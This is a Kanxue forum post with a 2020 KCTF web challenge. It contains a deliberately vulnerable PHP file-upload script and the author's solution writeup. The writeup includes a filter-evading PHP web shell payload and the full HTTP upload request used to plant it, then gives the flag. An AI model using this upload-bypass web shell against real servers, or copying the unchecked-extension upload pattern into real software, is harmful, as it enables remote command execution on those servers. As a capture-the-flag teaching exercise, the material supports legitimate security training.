-
-
[2020 KCTF][WEB]又不是不能用
-
发表于:
2020-4-2 11:50
2762
-
个人提交
参赛题目:
又不是不能用
题目描述 :
E_NOTICE: 又不是不能用.png
----------
新人 第一次出题 难免有些错误
环境:PHP5.6+nginx
链接:https://pan.baidu.com/s/1X5hlGSmjo2oKfH-0c57_fw
提取码:72uk
使用docker load 载入镜像
docker load -i easyphp1.tar
docker run -d -p 2333:80 easyphp
--
<?php
if (isset($_FILES["file"]["tmp_name"])) {
$file = fopen($_FILES["file"]["tmp_name"], "r");
$data = fread($file, filesize($_FILES["file"]["tmp_name"]));
$arr = json_decode($data, true, 2);
if (json_last_error() != JSON_ERROR_NONE) {
die("JsonErr");
}
if (count($arr) != 1) {
die("DataErr");
}
$data = $arr['data'];
$len = strlen($data);
if ($len > 56) {
die("Long");
}
if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
die("no");
}
$name = mt_rand();
$ext = strrchr($_FILES['file']['name'], '.');
$ext = trim($ext);
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
echo "upload/" . $name . $ext;
} else {
highlight_file(__FILE__);
}
?>
--
攻击方需要构造一个php文件读取根目录/下的flag
文件必须符合json规范 禁止使用部分特殊符号 且有长度限制
标准writeup
构造PHP一句话
{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
POST / HTTP/1.1
Host: www.bilijk.tk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137
Content-Length: 419
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="file"; filename="123456.php"
Content-Type: application/octet-stream
{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="submit"
Submit
-----------------------------29882803486271100771841892137--
利用上传后的php文件 读取根目录中的flag
flag{ko_ko_da_yo~}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-5-1 19:52
被kanxue编辑
,原因: